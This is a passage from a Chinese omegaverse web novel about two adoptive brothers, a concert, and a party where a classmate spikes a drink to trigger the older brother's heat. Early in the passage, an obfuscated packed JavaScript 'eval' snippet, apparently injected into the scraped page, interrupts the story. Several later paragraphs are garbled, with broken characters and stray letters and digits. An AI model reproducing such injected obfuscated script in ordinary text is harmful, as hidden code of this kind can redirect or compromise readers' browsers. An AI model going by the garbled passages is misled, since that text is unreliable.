裴松墨挑眉,大概是无法,只好从西装内侧的口袋里拿出了一包女士烟。 这一生气就要抽烟的毛病,都十多年了还是改不掉。 宋月黎抽出一根,裴松墨顷着身子为她点燃。一点猩红之中,他的手很稳,似是曾经做过无数次。 低调的沉香气味蔓延开来,并不浓烈,但让人心里很踏实。那是alpha对自己伴侣的抚慰。 烟雾在车厢内袅袅而起,宋月黎降下车窗,嗓音微哑:“开车,去邱家。” 此时,邱家。 邱母眼眶通红,坐在沙发上紧紧揪着邱渐的手不放,而邱父则搭着胳膊在窗边抽烟,满面愁容。 “小渐啊,你说方明干什么要去欺负人家,真是作孽啊!”邱母说着,眼泪都淌出来了。 邱渐面色也不好,一言不发。 他对这个无法无天的弟弟想来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听见哥哥叫自己,裴宁瞬间耷拉下来。他绕到裴亦舟身后,直接把脑袋往哥哥肩上一靠。 “啊——好烦。” “感觉自己不大懂事,出来上学还闹得家里鸡飞狗跳的。我怎么这么不省心啊。” 裴亦舟答非所问:“怎么不全靠上来。”怎么就搭了额头,那点软绵的头发扫的他心痒。 “哥哥你肋骨还有伤呢,能不能注意点。不能背重物你不记得了,昨天医生特意叮嘱的,这很重要!”裴姓皇帝开始指指点点。 裴亦舟失笑:“知道了。你也别太纠结,叔叔阿姨哪会在意这些。” 说完,他又问:“今天手还痛不痛?” 裴宁摇摇头,发丝摩擦皮肤,裴亦舟额角的神经轻抽。 而就在这时,家门打开了。 裴宁抬起头,正好对上了裴松墨的眼神。 “爸爸。”裴宁干巴巴地开口。 裴松墨看一眼就知道他在想什么,也不拐弯抹角:“行了,我不生气。等下次回了家你再好好去练练,别让自己再受伤了。” !那很好了。 裴宁立马满血复活。 他见到爸妈就忍不住要示弱撒娇,一个劲粘了上去。凑近之后他仔细嗅了嗅,总觉得空气里的味道有点奇怪。 “你们谁抽烟了啊?” 宋月黎抬手,毫不犹豫地指向了裴松墨:“你爸。” “哦。”裴宁微蹙眉心,“咦惹难闻。好了,爸爸你out。” 裴松墨对这母子俩也是服气,干脆起身去桌边看看裴亦舟在干什么。 宋月黎坐下有一会儿了,但裴宁没问他们出门做了什么。既然妈妈说过会处理好,那自己就什么都不用担心。 宋月黎抱着他,摸了摸他的头。她微微皱眉,也不知道是不是自己的错觉,裴宁身上木兰花的香味似乎格外浓重。 裴宁对此没什么知觉,他算算时间,忽然有些期待地说:“妈妈,这次你们要是不急着回去的话要不就留下来看一场演出吧。” “是宁大乐团的表演,我和哥哥都会上场,就像以前那样。” 20.发情期 对于裴宁的邀请,宋月黎连带着裴松墨那份不假思索地应了下来。裴松墨知道自己在这方面向来话语权不大,也只好无奈一笑,打电话回枫京,多告了几天的假。 毕竟是自家孩子,左右也不差这两天的时间,还是留下来看看吧。 转眼到了真正演出的日子,裴宁换好衣服,在后台扒着门等裴亦舟。今天裴亦舟公司要签一个重要的合同,裴宁对此早有耳闻,也知道哥哥磨了很久才拿下,因此没有发消息催促,只是眼巴巴等着。 化完妆的越思易也没事干,从后台摸出来,一路到了裴宁身边。瞧见裴宁的侧脸,越思易忽的有些羡慕:“你们关系真的好好啊,好多亲兄弟都比不上吧。其实我也有个姐姐,但是她是alpha,工作很忙,我们已经很久没见过面了。” 裴宁讶异:“以前都没听你提过诶。” 越思易腼腆一笑:“这事我没和别人说过,所以你不知道也正常。” 门口人来人往,他们两人长得都挺惹眼,光是站在那就吸引到不少目光。没一会儿又走来几个乐团成员,他们和裴宁关系不错,平时也会在训练的间隙聊聊天。 “你们听说了吗,那个邱方明,他好像进去了!”说话那人讲到最后放低了声音。 “进去?真的假的啊,他家不是很厉害吗?” “真的啊,我听辅导员说的,保真!好像就是因为吸/毒,家里压根没法捞,直接送进去了。” 顿时,四周一片嘘声。邱方明做派太张扬,当时为了乐团的名额还擅自挤掉其他人,哪怕后来他没彻底得逞,绝大多数团员也都对他的行径颇为不齿。 裴宁对这事背后的缘由心知肚明,但这会儿还是要骂两句,这人就是活该! 越思易见状踮脚,凑到裴宁耳边问:“这事你听说了吗,最近传的沸沸扬扬的。” 裴宁:“我不太关注。”这会儿还是得说,幸好你应该是还没爱上他,不然可要伤心死了。 越思易凑得近,远远看起来就像是靠着裴宁肩膀似的,有些太过亲密了。 裴宁自己注意力放在别处,对此没有察觉,但刚从门口转进来的裴亦舟却直接对上了这刺眼的画面。 又是那个烤焦了的面包? 裴亦舟按捺着心绪,开口叫了人:“小宁。” 听见哥哥的声音,裴宁猛地一抬头,开始锁定目标。不用三秒,一瞬间就够了。没理会旁边的人在说什么,裴宁直接朝裴亦舟走了过去。 “抱歉,路上有点堵车,我来晚了。”裴亦舟的眉眼柔和,在夜晚的灯光下看起来格外温润。 “不晚不晚,还没开始呢,”裴亦舟身上还有伤,裴宁不敢乱动他,只好用手蹭了下裴亦舟的手背,“快进去换衣服吧,我已经帮你占好柜子了,超大超宽敞的一个。” 裴亦舟笑着说好,裴宁和其他人打过招呼,也就先走了。 越思易意犹未尽地看去,远远凝望裴宁背影的时候,他身侧那个高挑的过分的omega却蓦然偏过了头,看向他。自远处投落的那道目光泛冷,刮过越思易的脸,旋即又收了回去,像是某种警告。 是自己的错觉吗?越思易一哆嗦,但不待他仔细看去,两人就双双消失在了视野里。 这次演出的规模不算小,裴宁也为此准备了很久,他以前见过的场面比这大得多,因而今日所有的激动,全部都来自于和裴亦舟同台这一件事。裴宁想着各个乐器摆放的位置,小提琴手在钢琴的正对面,他们之间隔了一位指挥,不算太远。 唯一可惜的事情,大概就是他背对着裴亦舟,不过这也无伤大雅。 宋月黎和裴松墨坐在前排,裴宁从舞台侧边看去,这二人正咬耳朵,也不知道在说些什么。 所有的一切和以前似乎都没有分别,家里的琴房和万人瞩目的舞台也没有太大的差异。 裴宁坐下,裁剪得当的黑色西装衬得他肩背笔挺,腰肢劲瘦,修长的脖颈微微低垂,干净洁白的后颈美好而天真。 由他开篇的第一个铿然音落下,随后,各种不同的乐器旋即在指挥的引导下徐徐奏鸣。此次演奏的曲目由乐团老师亲自谱曲编排,名为《海》。一层层旋律叠加,情绪逐渐递进,静谧的海域波澜涌动,小巧的轻舟航行其中。 裴宁此刻不做他想,他在等,直到间奏,其余的声音渐弱,留开了一段短暂的空白。下一刻,小提琴弦音婉转而来,几乎是勾着他弹琴的手,落下一次又一次。那是指引轻舟前行的灯塔,是一簇于宽阔海面上燃起的亮光。 琴弦动人,落笔在纸页上的乐谱被一点点完整演奏。而不知道在何时,小提琴悄然退场,只留下了琴声。 裴宁完全沉浸在演奏之中,直到结束还久久回不过神。他起身谢幕,心绪未平,几乎下意识找起裴亦舟来。 但此时正逢退场,台侧人潮涌动,裴宁站在原地左顾右看,周围的气味驳杂混乱,并不是信息素,却将木兰的香味掩盖而去。他被人带着向下走了两步,垂在身侧的手指微微蜷起,带着不安。 冥冥之中的丝线若隐若现,就在裴宁将要踏下台阶的那一刻,一道浅淡的,温和的信息素严丝合缝地包裹住了他。 裴亦舟不知道从哪来的,轻轻牵住了他的手。 “小宁,在找我吗?”裴亦舟踏近一步,前胸贴上了裴宁的背脊。 两颗心脏扑通地跳着,裴宁惊喜,又莫名觉得嗓子有些哑,说:“嗯,在找你。” “那现在找到了,”裴亦舟笑笑,“刚才看见宋阿姨带了鲜花,我们过去一趟吧。” 裴宁应好,混混沌沌地被裴亦舟牵着往前走。直到宋月黎的花束扑入他怀中,他才回过神来。 “宝贝,你们今天演出超棒的!”宋月黎分别在裴宁和裴亦舟的脸上亲了一口,“一人一束,我专门找插花师定做的,就算是我的谢场礼吧。” 裴宁听出不对:“你们要走了吗?” 裴松墨走近:“抱歉小宁,爸爸还有些事,必须要回去。” 裴宁没有要责怪的意思,爸妈很忙,他是清楚的。现在演出已经结束,他没有什么遗憾,只是有些不舍地挨个抱了下。 专门接送的车就停在场馆外,宋月黎临走也难受:“小宁,照顾好自己和哥哥,要是受了什么委屈就和妈妈说,不要自己憋着,爸爸妈妈都在呢。” 裴宁拉着哥哥的手送走了爸妈,车都没影了还依依不舍往外看。 最近宁江已然秋,晚上风很大,薄薄的风衣抵不住。裴亦舟不动声色拉了裴宁一下:“该走了,不是还要聚餐吗。” “唔,知道了。” 宁江乐团有一个不成文的习俗,那就是每次演出结束后,大家都会小聚一次。毕竟乐团的老师平时要求比较严苛,训练排练都很辛苦,演出结束后犒劳自己,这也无可厚非。 但裴宁清楚记得,有关越思易的那段剧情就是发生在这一次聚会上。 不过现在邱方明都锒铛入狱了,这段剧情总不会发生了吧? 裴宁作为演出的主要参与人员,说什么也不能缺席。而等到他和裴亦舟抵达的时候,场子已经热了。 时间不算宽裕,大家都还没换演出的衣服,就都这么衣冠楚楚地来了。黑的白的坐了一群,远远瞧来就和这的氛围格格不入。 “说实话这样看起来有点滑稽......”不知道是谁在吐槽。 “管他呢,总算又可以休息了。” 裴宁还是第一次参加,他找了个座位坐下,伸手就要摘领结。但裴亦舟快他一步,修长的手指探出,一扣,领结就乖乖落到了他的掌心里。 裴宁呼了口气:“这样舒服多了,不然有点勒得慌。” “当时怎么调这么紧,”裴亦舟替他解开了衬衫领口处的扣子,白色的衬衫下折,露出一点印子,“脖子都红了。” “啊,有吗?”裴宁伸手摸了摸,被勒着的地方这会儿在发痒。 裴亦舟的目光攀缘着往下,见着了一条银白的链子,他知道那是什么——是他给裴宁的信息素提取液。裴宁一直好好戴在脖子上,从没摘下,就像当初他叮嘱的那样。 两三个月过去了,也快要补充了。 裴亦舟完全把裴江的警告抛之脑后,算着时间准备再去抽取一次。但最近的信息素波动有些大,如果要安稳一些,最好还是试试新药。裴亦舟垂眸,静静地把玩着手中的领结。 裴宁这会儿不太饿,因此没多吃什么,只是观察着周围。 越思易人呢,刚才不还 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“呃......这是不是有点冒昧了。”抽卡的人有点不好意思,这都什么啊,特别是下面那个ps,简直了,没眼看。 裴宁一愣,自己右边?那不就是裴亦舟么。 如果今天换成其他人,他或许就要喝酒了,但是哥哥...... 场上气氛有点凝滞,抽卡的人手都僵了,刚要提议要不换一张,结果下一秒,在所有人都还没反应过来的瞬间,裴宁飞快侧身,在裴亦舟脸上“吧唧”亲了一口。 他动作太迅速,就连裴亦舟本人都还没反应过来。 温热柔软的唇只在他面颊上贴了一下就离开,像是翩跹的蝴蝶,只给了他一振翅的时间去感受。 这能算吻吗?一个主动的、清醒的,带着裴宁身上气味的......吻。 “你们怎么了都?这有什么的,他是我哥啊。”裴宁一谈收,别提多坦然,“再说不是玩游戏么?” 僵住的人群逐渐解冻,有人也说:“啊对对,就是游戏而已,人家是兄弟,亲一口怎么了,我和我哥也天天亲来亲去的哈哈。”干巴巴的,毫无说服力的圆场。 这一茬被裴宁石破天惊的一亲给推了过去,游戏又走了几轮,大家都说累了。 时间不早,有人陆陆续续退场,裴宁打了哈欠,也想走了。但他们刚从座位上起身,越思易就端着酒杯走了过来。 他抬头,看向裴亦舟:“那个......裴学长,以前多谢你的照顾,我能不能请你喝一杯。” 裴宁松懈的神经瞬间紧绷,他转过身,完完全全挡在裴亦舟面前,神色带上了不可思议。 这又是哪一出? “我哥哥不喝酒,我们要走了,你请回吧。”他说话毫不客气,和平时判若两人,越思易脸色都白了。 尽管手已经在颤抖,但越思易还是没动,他牙关一咬,恳求道:“就喝一杯吧,我真的很感谢裴学长。” 他说着,手里的酒杯就要往前送,裴宁当机立断拍了过去,哐当一声,酒杯直接落到了地上碎裂开来,酒液四处流淌打湿了地面。 越思易瞳孔骤缩,看向他:“裴......裴宁。” 但裴宁却无暇理会,因为就连他这迟钝的嗅觉都发觉了不对劲:这酒好香。 “怎么这么香,什么味道啊?” “不知道,是酒吗,从哪飘来的啊?” 目光死死钉在越思易身上,裴宁刚想质问,就察觉身后的呼吸声变得不大对劲。 他立马转身,只见哥哥猝然俯身,难耐地抓胸前的衬衫,用力蜷起的指节泛红,手腕处的青筋迭起,白色的布料被他抓的全是褶皱,狼狈不已。被压在喉咙底下的呼吸声越发粗重,灼热的呼吸喷洒落下,于骤然升高的温度中,裴亦舟咳嗽着抬眼,眼底浸润着血色。 裴宁大脑一片空白,着急忙慌扶上他的肩,却发觉掌心之下的皮肤实在热的不正常,哪怕隔着一层布料都感知鲜明。 烫、太烫了。 怎么会突然变成这样? “小宁......”沙哑的呼唤像是一柄大锤猛然砸下,猛的开辟出一片清明。裴宁霎时脊背发麻,对上了裴亦舟那双满是欲色的眼睛。 他知道——哥哥的发情期,到了。 21、三合一 发情期。 这个认知叫裴宁短路了一下。 omega每年都会出现叁到四次发情期,他是读医的,对这事不可能不了解,但真要放到裴亦舟身上……他的认知就只剩下了多年前那些零散的片段。被高热灼烧到绯红的脸,强忍难受的喘息,辗转反侧的夜晚。那很难受。 宁甩甩 不再胡思乱想,他显旁的湿九,伸手捂住了裴亦舟的鼻.明刚才还孩的哥哥现在突然成这样定和晰酒的异脱不了干系一个发情惧momegk期运留在外太过危险,谁也不知治生出什么事端眼下的当务之急是赶紧回家“哥哥你现在感觉怎么样?哪里不舒服?”裴宁伸手搀住裴亦舟。裴亦舟的喉结上下滚动,他深吸了一口气,闷声说:“没事,我们……走。”裴宁闻言当即将哥哥揽过来,让他身上的重量悉数靠在自己的肩膀上。脚下是黏湿的酒液,越思易还是站在出口的地方一动不动,碍眼得很。他张了张嘴,像是想说什么,但裴宁现在没给他一拳就已经是看在他是omega的份上了。 “滚开。”裴宁冷着脸,便圆的眼侧目而视,没了温和,只余憎恶。 “对、对不起,我不是……” “我让你滚开!” 越思易话还没说完就被裴宁直接推到一边,这一下裴宁手上没收劲,越思易直接摔倒在沙发上,仓皇之间还想要起身,膝盖却慌不择路地撞上了桌脚。他手心冒汗,吓得六神无主,好不容易起身,裴宁却已经带着裴亦舟走远。这个点聚餐的人早已走得七七八八,因此看到他和越思易产生冲突的人寥寥无几。 地上的酒液仍在散发着诡异的芳香,有个微醺的成员走近问:“越学长,刚才怎么了?裴学长是哪里不舒服吗,要不要我们上去搭把手啊。”越思易浑浑噩噩,他摇了摇头:“没什么,时间不早了,你们快回去吧。” 那成员见状也不再多问,没一会儿,偌大的卡座上就只剩下越思易一个人。他低头看着地上碎裂的酒杯,双目无神,逸散的信息素透出脆弱。“嘀——”一条消息发来,宁静的表象被倏然撕破。 越思易咬紧牙关,划开了手机屏幕。昏暗的灯光下,他的脸被映成了毫无血色的白。【未知联系人:药下了吧,他的反应怎么样?】 这次裴亦舟的发情期来势汹汹,额角的汗水几乎挂不住,通通淌落了下来,灼热的温度不断蔓延,就连身上烘散的热意也透过布料将裴宁罩了个彻底。裴宁急得不行,手里头攥着裴亦舟的手,催促着司机开快点再快点。司机是本地人:“哦呦小伙子,你知不知道这里限速的呀,超速了被拍到要罚款依晓得伐。”裴宁不墨迹,掏出手机对准挂在车后座上的二维码一扫。 “叮咚——您的钱包已到账,2000元。” 司机一愣,裴宁问:“够罚了吗,晚上人少,麻烦您再快点!” 好嘞!”这下司机不再犹豫,一脚油门飞了出去,心里头想着自己这趟真是遇到财神了。话说最近宁江打车的财神真多啊,上次他还听说有个同行下午赚了一千五,嘿嘿,自己还比他多五百。 出租车厢大,担心装舟力气,裴宁将人损到了自己身上,刚才一通折腾裴寧也热的眉汗,风衣外套早脱了,里面只 件表演需要的衬E,他们贴的太近,薄而凉的布料完全不构成阻隔,恍间裴亦舟甚至为他们已肌肤相贴,"哥哥,家里还有发情期用的抑制剂吗?"裴宁焦急道。 裴亦舟吐出的字句都粘连着:“还有,别担心。” 怎么能不担心?这可是发情期!omega在缺乏alpha信息素抚慰的情况下会及其难受,裴宁对此一清二楚,更何况现在身边连抑制剂都没有,哥哥只能硬撑。裴宁想着,脑内忽闪而过一个念头。他不假思索从口袋里拿出了两片阻隔贴,快速拆开包装后伸手摸到裴亦舟的后颈上,将那片陈旧的撕了下来。阻隔贴扯着皮肉,裴亦舟轻嘶出声,裴宁听见后手上的动作愈发小心。 “哥哥你再忍忍,我先给你贴阻隔贴,很快就到家了。”裴宁的食指抚着翘起的边缘,它们按下去,牢牢固定在裴亦舟的后颈上。浓郁到几乎炸开,开始发苦的木兰花香被蔓地往下一压,裴亦舟颈侧的青筋一顫,寻回不少清明。他大脑混沌着,眼睛却一眨不眨地盯着裴宁牵住自己的手,那是一个类似于十指相扣的亲密姿势。 白皙的,修长的手指,骨节有点红,蜷握的时候一定很漂亮吧? 好想标记他,好想咬他。裴宁……本来就该是他的。 根本没有发情期,他也不需要那些装模作样的抑制剂,现在的他甚至不想去追究那杯酒里到底掺了什么,他只想要裴宁……全部的裴宁。理智被外放的信息素泡得稀薄,近乎于湮灭。裴亦舟侧头,另一侧的掌心留下了几道深入皮肉的掐痕。到家,灰色的被子掀开了一大角,裴亦舟仰身躺下,胸膛上下起伏着。“哥哥你抑制剂放哪了?刚才我看外面的药柜里都没有啊。”裴宁这下真是着急上火了。 阻隔贴效力有限,这会儿不过才十几分钟,稍有消减的信息素就再度兴风作浪起来,饶是裴宁这个再喜欢不过的人都觉得这气味太浓了些 “床头柜。” 裴宁拉开,从里面拿出一个盒子。 这盒子不是普通的塑料药盒,上面也没有任何的文字标注,拿在手里沉甸甸的,像是金属制品,和裴宁以往见过的任何抑制剂药盒都不一样。但现在的时间来不及多想,他“咔哒°一声打开了盒子。带着弹簧的装置开启时有定缓冲功能,彈开后才露出内里的布置,裴宁定睛,看见里是类似于黑色泡沫的填充物,上面还有好几道凹槽,似乎是用来存放抑制 的,现在那陛凹槽都空了,整个盒子里只剩下了-支针剂。而此时,裴亦舟的呼吸声也越发急促,像是难受的厉害,他眉心紧皱,侧过身将自己蜷成了一团。这是一个极没有安全感的姿势。裴宁满腔心疼,拿到抑制剂后按照自己了解到的生理知将裴亦舟放平,卷起了他的袖子。白色衬衫被一点点上折,那枚来自他的袖口被带着折起,卷进深处。动态的画面连缀,裴亦舟平时不露人前的那一部分被剥开,露出的小臂精壮,肌肉鲜明。 裴宁一愣,哥哥什么时候锻炼的? 黛青色的血管袒露,裴宁也不敢太使劲,只好慢慢掰直他的胳膊。裴宁目光上移,只见血管上端,手肘内侧的位置驻留着许多大大小小的针孔,像是以前注射留下的痕迹。怎么打了那么多针,这要多痛啊。裴宁想着,心酸巴巴地皱成一团,没忍住摸了摸。 而此时,原本已经昏沉的裴亦舟不知为何,竟然对这样的抚摸做出了反应。他下意识地用力,想要抽回胳膊,却又被裴宁紧紧拉住。“哥哥你别乱动,我要给你打针呢。现在没有医生,你就那我这个医学生将就用用吧。”裴宁说着,从箱子里拿出了最后一支针剂。他从屋外的医药箱里翻出酒精和棉签,简单消毒后,将抑制剂内的液体缓缓推入了裴亦舟的身体。随着注射器被推到底部,裴亦舟的喘息也随之平复了下去,逐渐恢复了正常。 这抑制剂见效可真快啊。 裴宁跪坐在床上吸了吸鼻子。其实他刚才觉得哥哥的信息素气味变得有些奇怪,像是快要凋谢的木兰,没那么清香,反而有点苦,但现在这-支抑制剂下去,那些苦味又消失了,卧室里满是木兰花的气息 除了注射抑制剂,发情期的omega还需要物理降温和补充营养。 裴亦舟身上的衬衫早已湿透,裴宁从衣柜里找出哥哥的睡衣,想要给他换一身。但裴宁才刚伸出手,裴亦舟的手机就响了起来。 谁会在这个时候打电话来?担心打扰到哥哥休息,裴宁拿起手机下床,离开的时候还不忘带上房门。 “喂?你现在怎么样,需不需要我马上过来一趟?”对面的人语气焦急。 这人谁啊?裴宁又看了眼联系人,就一个字母:J。 这算什么备注? 裴宁直截了当:“你是谁?” 裴江一愣,显然没想到接电话的人不是裴亦舟,但他脑子转的很快,一下就想明白了此时和他通话之人的身份。除了裴亦舟那个藏得跟眼珠子似的弟弟还有能有谁?“你是裴宁吧,我知道你。我是你哥的朋友,呃……他现在怎么样了,人还好么?”被越思易那么一激,裴宁现在分外警觉,对于任何想要接近哥哥的人都千万分戒备。 他对这人说的话将信将疑:“你说你是你就是啊,为什么突然找我哥?”你怎么知道我哥不舒服,怎么这么着急?裴江咋舌,乍一下还真想不出来要怎么说服这个小犟鬼。哥俩没一个好糊弄的,都烦人。而就在裴江冥思苦想之时,裴亦舟卧室的门开了,裴宁下意识转身,只见裴亦舟撑着门框走出来,虽然脚下还是有些不稳,但看神色已经清醒不少。 “小宁,你在和谁说话。” 裴亦舟直勾勾地盯着裴宁手里的电话,眼底的红色尚未褪去,像是要将它看穿。裴宁在和谁说话?裴亦舟还未完全清醒的意识里只剩下这么一个问题。 裴宁一见哥哥,吡开的毛就收了回去,他快步走近,乖乖把手机递到哥哥手里:“刚才电话响了,我怕吵到你就出来接了。给你。”裴亦舟瞥见了显示屏上的“J”,噤了声。“喂喂喂,我请问还有人在听我说话吗?”裴江发出抗议。 “你说。”裴亦舟不动声色,把手机放到耳边。 “你现在怎么样?”“还行。” “你居然还行?他给你打药了?他怎么知道的?”裴江诧异地三连问。“抑制剂。”他以为那是抑制剂。裴亦舟言简意赅,但裴江却明白了他的话外之意。 好嘛,“发情期”的裴亦舟现在在他弟弟眼里指定是个肩不能扛手不能提的脆弱omega。“那我马上过来,你之前不是说那药不太行了么,你自己再撑撑听见没,等会儿别发疯了,我可扛不住。” “行了,把电话给你弟,我有话要说。” 看着裴亦舟递过来的电话,裴宁懵懵拿起。怎么又有自己的事了? 察觉到换人,裴江开始叮囑:“你哥这发情期来的比较突然,需要去别的地方处理一下,我过来要点时间,麻烦你先照顾他一会儿。我温馨提示哈,在此期间你最好给你哥关起来,然后离他远点。““你要带他去哪?”裴宁蹙眉,还是不大信任这个突如其来的朋友,“我又为什么要把哥哥关起来?” 当然是去专门的地方,放心,你哥以前也是这么过的,再说他不都同意了吗。”至于关起来,裴江倒是想解释,但又不能说的太明白,不然给裴亦舟的alpha身份抖落出来了,那他不是闯大祸了?“总之你就听我的,你哥也就现在看起来正常,过会就要变呆子了,你……反正别靠太近,不然连你一块儿变傻!” 这说的都是哪跟哪?对面这人疯了吗。 裴宁还想问,但电话已经挂断。他放下手机,抬眼,裴亦舟正目不转睛地看着他。 “哥哥你真要和他走吗,他是alpha还是oemga,那个地方安全吗,我能跟去吗?”裴宁紧张兮兮的问了一连串,裴亦舟没忍住,嘴角扬了一下。“没事的,他是omega,那里很安全。我很快就会回来的。”裴亦舟回答,声音放得很低,像是在试图使裴宁彻底放心。以前他也会这样给裴宁讲题或是说其他的事情,那种氛围是一个圈,将他们圈在一块儿之后,裴宁就会格外专心地听他在说什么。我很快就会回来。那就是我不能去的意思。 裴宁郁闷,有些耷拉,但还是伸手探了下裴亦舟额头上的温度:“现在还难受么?” 裴宁贴完额头又贴了贴他的脸,裴亦舟不语,只是攥住了他的手腕。见裴宁没有半分抵抗,他就顺着那个方向低下头,用侧脸蹭了蹭。“不难受,有点热。”裴亦舟双眼皮褶子很深,眼型微长,低着头向上看人的时候总会透出一股柔弱感,“小宁,刚才他跟你说了什么,哥哥可以知道吗?”裴宁支吾了一下:“他……” “他说什么?”裴亦舟的语气像是蛊惑,“小宝能告诉哥哥吗?” 大脑被这双眼睛看得一片空白:“他要我把你关起来,让我不要离你太近。这人说话前言不搭后语的,我都不明白他想说什么。“裴亦舟的神色不变,眨眼间又夹上了几分委屈:“那你要把哥哥关起来吗?”他说着,放开了拉着裴宁的手,然后摘下自己的领带放到了手腕上。“小宁可以把我绑起来,”裴亦舟将双手往前送了送,“如果小宁想的话,做什么都可以。”看着那一截垂下来的领带裴宁脸都红了,他连忙摆手:“我当然不会,我都不知道为什么要这么做!” 裴亦舟眨眨眼,安静地看他。裴宁被看得 麻,当即决定转移一下话题:“哥哥你先去房间里休息吧,稍微等等我,我,马上去拿冰袋和营养液过来。” “嗯,”裴亦舟站直,拿下了手腕上的领带,不甚明显的目光略过裴宁的后颈,“去吧,我等你。” 他知道,自己那短暂被药剂唤醒的理智已经在逐渐消退了,现在每一个举动都掺上了欲望和冲动,不完全受他掌控。其实该听裴江的,让裴宁把自己关起来,不然到底会发生什么就连他自己都不知道。既然如此,刚才又为什么要装可怜?裴亦舟,你心里在想什么,你想做什么? 这场易感期在他的意料之外,而这次的易感期是由那不明的甜香引发的,这么一来,他的信息素似乎更加狂躁敏感,受不得刺激。属于alpha的欲望本就不容忽视,更何况他是顶级的alpha,生理上的反应只会更加强烈。性,暴力,击打,穿透。那些简单粗暴的念头几乎贯穿了他的大脑。但是裴宁那么天真纯然地相信着自己,难道要在这种不合时宜的时刻撕开一切吗? 不应该。 所以他将欲望压下,仰头背靠在床头,按照裴宁的指示乖乖喝营养补充剂,量体温,敷冰袋。裴宁动作细致,裴亦舟刚把补充剂喝完,他还不忘拿起纸巾帮他擦嘴。 但这些举动都是属于omega的,对alpha而言,却是不大必要了。每一次皮肤上的接触,都只会使裴亦舟的体温更上一层台阶。想抱他,想要亲他。想要和他面对面,看着那双漂亮的眼睛漫出眼泪,看他眼里都是自己。他的腺体还没发育好,自己要是咬下去他会不会很痛? 会哭吧,眼目汪汪的,就像小时候 样,只要自己的目光没有放在他身上,就要委屈,就要撒娇。他很容易气鼓鼓,但是又很好哄,只要牵 牵他的手,摸一摸他的头,就会笑,会跳起来抱着他绕着他转,甜地叫他哥哥。 他的小宁。怎么会这么可爱…… 裴宁没有读心术,自然不会知道近在咫尺的裴亦舟此时此刻心里在想什么。 氛围变得有些奇怪,裴宁说不出具体是因为什么,但总觉得周围的空气似乎沉了下来,变得粘稠。裴宁知道发情期的omega在注射抑制剂之后会格外疲倦,但裴亦舟没有睡,只是半睁着眼看他。 他的眼镜被裴宁小心摘下放在了旁边的床头柜上,此时那双眼睛毫无遮掩地望来,瞳色很深,是近乎于墨色的黑,莫名让裴宁手上的动作一顿。“哥哥,“裴宁做了会儿心理建设才开口,“你有想过要找一个alpha伴侣吗?” 裴亦舟没有说话,只是静静等他继续说。 裴宁抿唇:“要是现在你有一个alpha的话,或许就不会那么难受了,书上都说ao信息素之间的抚慰胜过一切抑制剂,而且也不会有副作用。” 裴松墨和宋月黎就是这样的一对。他们契合、幸福,似乎没有不合拍过。 那裴亦舟呢?哥哥有生起过这样的念头吗。 裴宁不敢细想,不知道为什么,只要一幻想那模糊的画面,他心里就止不住地冒酸水。见裴宁说完了,裴亦舟才开口:“小宁,现在说这些还太早了,再等等吧。” 等到什么时候?裴宁很想问他,但裴亦舟阖上了眼,像是累了。裴宁心里不上不下,一想到等会儿哥哥还要离开家去过发情期,怎么都不是滋味。真的不让自己跟去吗?裴宁心绪不宁地揪下纸巾的一个角。其实哥哥也没有明说吧,那就算自己去了,哥哥应该也不会生气吧… 他这人看起来乖巧,实际上主意大的很,现在爸妈不在身边,胆子更是比以往更大了一截。于是,在裴江敲开公寓大门的那一刻,就看见一个高挑的青年倚在玄关那上下打量他,眼里透着浓浓的戒备。但撇开这些,裴江对他的第一印象停留在好看上。“你就是我哥朋友?我哥说你们要去那地方我不能去。”“但是他现在睡着了,所以我准备偷偷去,你可以选,让我坐你们的车走还是跟在你们后面打车。” “我很民主的,你选吧。” 裴江:…现在好了,第二印象是霸道。 我请问呢?我是又被拉入什么奇怪的play了是吗? 五分钟之后。 保镖在驾驶座开车,喷了七八层阻隔剂还不忘戴口罩裴江坐在副驾座时不时往后瞟,而裴宁则接着昏睡过去的裴亦舟靠在后排,手里还提着两个呼呼冒冷气的冰袋。 裴江其实很想提醒对方:你哥用不上这些,你越给他冻,回头他越要热起来。这就跟烧火添柴火上浇油一样,全是反作用。 但这话没法说,裴江只好当了锯嘴葫芦。车里光线不佳,裴宁抬头时正好能从后视镜里看清裴江的眉眼。好熟悉的感觉。这种相似不太明显,但裴宁多看了几眼,却又觉得难以忽视。 他问:“你真的是我哥的朋友?你叫什么名字。” 裴宁撇了撇嘴,心里寻思他还挺机灵,于是也没隐瞒:“我叫裴江,大江大河的江,你要是不介意,可以和你哥一块儿叫我二叔。”虽然你哥从来不这么叫。 裴江?! 那不是裴城甫的二儿子吗? 裴宁没急着回话,而是在心里快速过了下剧情。 占)原著中对裴T的描5不多,他的生住别aomega,因此从小就不受父亲家旃的重视,成年之后更见 到公司向股份,而是直妾打发了去,但后来装舟步完成仇,彻底掌握了踪,自杀前略其中的 分股份转交给了这个5他交集無多的枫 如此看来,裴江和裴家那些人应该不是一丘之貉。 思及此,裴宁点了点头,也算是礼貌地叫了声:“二叔。”“哎!”这声二叔给裴江叫美了,登时眉开眼笑。 还是裴亦舟这弟弟懂事啊!不像他哥,每天就知道“你别管”“别多问”“你很闲?”……装的要死。“我们现在这是要去哪?”裴宁扫了眼车窗外阑珊的灯光。 “等会就知道了,弟弟。”裴江这人没个正形,之前一直知道裴宁的存在,今天见到了,嘴上不调侃两句那是过不去了。但他没想到,这话音刚落,裴亦舟原本搭在裴宁腿上的手就动了动。 “别叫他……我的……” 裴江:? 我跟你这个死弟控拼了。 裴亦舟说完这句话又侧头睡去,直到抵达目的地都没有再睁眼,就连呼吸声都变得很弱,一路上把裴宁吓得不轻。 “你别担心,这是yi.……呃,发情期的正常显现。”裴江安慰道。 “那为什么课本上没写?” “啊呀你们这些学生就是死板,要是所有杂七杂八的反应全写课本上,那还要你们临床去做什么。” 裴宁不置可否,勉强信了他的话。 他和旁边的保镖架着裴亦舟进了面前的建筑,裴宁总感觉这里看起来不大正经,但裴江又走得很快,于是他不得不跟上。不知道在里头七拐八弯了多久,裴江终于带他们进了一个房间。“到这就行,医生已经在里面了,让你哥进去就好,你么还是别进去了,就待在外面吧。”裴江说着按住裴宁的肩,让保镖将裴亦舟带进去。 裴宁一松手,保镖脸上的神情明显变得有些吃力。 